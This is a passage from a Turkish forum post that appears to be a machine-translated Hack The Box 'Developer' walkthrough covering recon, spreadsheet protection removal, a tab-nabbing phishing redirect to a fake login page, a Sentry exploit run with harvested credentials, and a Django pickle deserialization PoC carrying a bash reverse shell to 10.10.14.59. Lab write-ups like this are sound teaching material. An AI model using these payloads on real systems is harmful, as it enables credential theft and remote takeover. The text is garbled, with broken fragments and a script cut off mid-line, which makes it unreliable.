Bugün Hack The Box'ın gelişmiş Developer makinesini kullanarak size Django kullanarak bir web sitesini nasıl hackleyeceğinizi göstereceğim. Ayrıca, bir XLS dosyasından şifreyi nasıl çıkaracağınızı ve Sekme Nabbing kimlik avı saldırısını nasıl kullanacağınızı öğreneceğiz.
Django kullanarak bir web sitesini hacklemek
Bash:
Öncelikle / etc / hosts
Bash:
10.10.11.103 developer.htb
En popüler tarayıcı Nmap'tir. Aşağıdaki komut dosyası tarama sonuçlarını iyileştirecektir:
Bash:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
80 - webden sorumlu
22 - SSH'yi çalıştırıyor
Yardım: kaba kuvvet hesapları
Henüz her zaman yetkilendirme gerektiren (SSH gibi) kimlik bilgilerine sahip olmadığımız için hizmetler hakkında bilgi edinmenin bir anlamı yok. Yapılabilecek tek şey şifreleri kaba kuvvetle kullanmaktır, ancak Hack The Box'a sahip makinelerin neredeyse her zaman farklı bir senaryosu vardır. Gerçekte bu tür seçenekler olmayabilir; üstelik şifreyi tahmin etme veya sosyal mühendislik kullanarak alma şansı da vardır .
Elbette web ile başlıyoruz!
Bir CTF (Capture The Flag) sitesinin web sitesi bizi karşılıyor. Kayıt ve yetkilendirme olasılığını görüyoruz, ancak ilginç bir şekilde PHP'de tek bir dosya yok. Belki bir Python çerçevesidir? Sitenin kök dizinindeki gizli dizinleri tarayarak tahminimizi kontrol edelim.
ffuf ile web taraması
Bir web uygulamasının güvenliğini test ederken ilk adım, dizin kaba kuvvet taramasıdır. Bu amaçla DIRB ve dirsearch gibi programları kullanabilirsiniz .
Hafif ve çok hızlı ffuf'u seviyorum . Başlatma seçenekleri:
-w - sözlük (kişisel olarak SecLists'teki sözlükleri tercih ederim );
-fc - 403 kodlu yanıtları sonuçtan hariç tutun;
-u - URL;
-t — iş parçacığı sayısı.
Komut şu şekilde çıkıyor:
Bash:
ffuf -u http://developer.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
Çıktı, 301 - yönlendirme kodlu birçok dizin içerecektir. Üzerlerine tıkladığımızda bizi Django framework’ünün admin paneli karşılıyor.
Başka bir şey bulamayınca ilk siteye kayıt oluyoruz.
Web sitesi farklı kategorilerden iki veya üç görev içeriyor ancak kullanıcı profili ayarlarının olduğu sayfa ilgimi çekti.
Metin alanlarının taranması herhangi bir sonuç üretmez. Görevlerden herhangi birini geçmeye çalışalım. Adli tıp ödevi phished_credentials'a bakmaya karar verdim . Görev şartlarına göre dosyanın bir yerinde bir şifre var.
Giriş noktası
Dosyayı açtıktan sonra gizli E sütununu görüyoruz. Belge şifreyle değiştirilmeye karşı korunduğu için sütunları genişletmek mümkün değil
dir.
Bu tür korumayı atlamak basittir. Arşiv olarak açın ve içinde istediğiniz sayfanın ayarlarını bulun. Bizim durumumuzda yalnızca bir tane olduğundan,
Kod:
sayfa1 dosyasına ihtiyacımız var . xml
Bash:
<sheetProtection algorithmName="SHA-512" hashValue="Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" saltValue="EoiHQklf0FagPs+iW0OzkA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
Dosyayı kaydedin ve belgeyi açın. Şimdi koruma yok. E sütununu genişletiyoruz ve sitenin bayrağını buluyoruz.
Geriye kalan tek şey web sitesindeki forma girmek.
Artık sayfayı güncelledikten sonra görünüm biraz değişti; yanıt gönderme düğmesi yerine çözüm gönderme düğmesi ortaya çıktı.
Ve bir dosya indirerek değil, sayfa URL'sini belirterek.
Yerel Python 3 web sunucusunu açın (
Bash:
python3 - m http .server 80 komutu
Bash:
http://10.10.14.59/writeup.html
Ayrıca çözüm profil sayfasında görüntülenir.
Ancak görüntülemeye çalışırsanız yeni bir sekmede açılacaktır. Sayfanın kaynak kodunda,
Bash:
<a> etiketinde target = "_blank" niteliğini buluyoruz
Kod:
target = "_blank" özelliğine sahip <a> etiketinin href argümanı kontrolümüz
Bash:
Kullanıcı, window
Web sunucusu dizininde bir yazma dosyası oluşturalım . Aşağıdaki içeriğe sahip html .
HTML:
<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://10.10.14.59/login.html');
if (window.parent != window) window.parent.location.replace('http://10.10.14.59/login.html');
</script>
</html>
Kod:
HTML
Dosyayı giriş olarak kaydedelim .
Kod:
html'yi açın ve kodunu biraz değiştirin. action = "auth.php" ve method = "get"
Şimdi görev çözümünü tekrar gönderelim ve web sunucusu günlüklerinde onun isteğini göreceğiz, ardından oturum açmaya yönlendireceğiz . html ve kimlik bilgilerini auth'a gönderme .
Bash:
php.ini
Bu kimlik bilgileri Django yönetici alanında oturum açmanıza olanak tanır
Dayanak noktası
Tüm yararlı bilgileri elde etmek için bölümleri gözden geçirelim. Burada kullanıcıların ve sitelerin bir listesini alabiliriz.
Yeni bir alan adı aldığımız için onu hemen /
Bash:
etc / hosts dizinine
Bash:
10.10.11.103 developer.htb developer-sentry.developer.htb
Bir hizmet için yönetici şifremiz var; bu şifrenin burada da işe yarama ihtimali yüksek. Tek soru kullanıcı adıdır. Yönetici girişinin hatalı olduğu ortaya çıktı; admin @ geliştirici e-postasının tamamını girerseniz . htb veya admin @ geliştirici . ctf , ayrıca hiçbir şey alamıyoruz. Ama yöneticinin adı James. James @ geliştirici e-postasını deneyelim . htb ve siteye erişim sağlayın.
Aşağıda Sentry sürüm numarasını görüyoruz - 8.0.0. Bu en yenisi değil, bu yüzden açıkları aramaya değer . Böylece Google bizi Exploit-DB'ye, daha doğrusu 8.2.0 sürümünün istismarına yönlendiriyor .
İstismar işe yarıyor ama hiçbir şey vermiyor.
Kod:
python3 50318.py --url 'http://developer-sentry.developer.htb' -U '[email protected]' -P 'SuperSecurePassword@HTB2021' -l 10.10.14.59 -p 4321
Sentry, Python verilerini serileştirmek ve seri durumdan çıkarmak için gerekli olan turşu modülünü kullanır. Bu, kodun çalıştırılmasına yardımcı olabilir, ancak önce Django gizli anahtarına ihtiyacımız var.
Bir proje oluşturup silerek elde edilebilir: Proje Oluştur → Proje Ekle → Projeyi Kaydet → Proje Ayarı → Projeyi Kaldır.
Gizli anahtar göz önüne alındığında, ihtiyacımız olan kodu çalıştıracak bir nesneyi oluşturmak ve serileştirmek için aşağıdaki PoC'yi kullanabiliriz. İçinde değiştirmeniz gereken tek şey SECRET_KEY ve çerez değerleridir . Yük olarak ters kabuk kullanıyoruz:
Python:
/bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1"
[IMG]https://resmim.net/cdn/2024/09/15/m8QWjW.png[/IMG]
#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'
cookie='.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQoZRBnmmGUlBbq7FhVFcAEFSlKLS5Lz87MzU8FayvOLslNTQoXiE0tLMuJLi1OL4pMSk7NT81JClSDG6ZWWZOYU64Hk9VxzEzNzHIEsJ6gaXiR9mSnerKV6AOVwM6Y:1n8lto:4YBeYgMOt1ujubTsANFkmRr3fw4'
newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
def __reduce__(self):
return (os.system,('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1"',))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(
Kapanış
Dostlar Ayrıcalık yüksekltme sonraki konu olsun çok yoruldum Kusura bakmayın





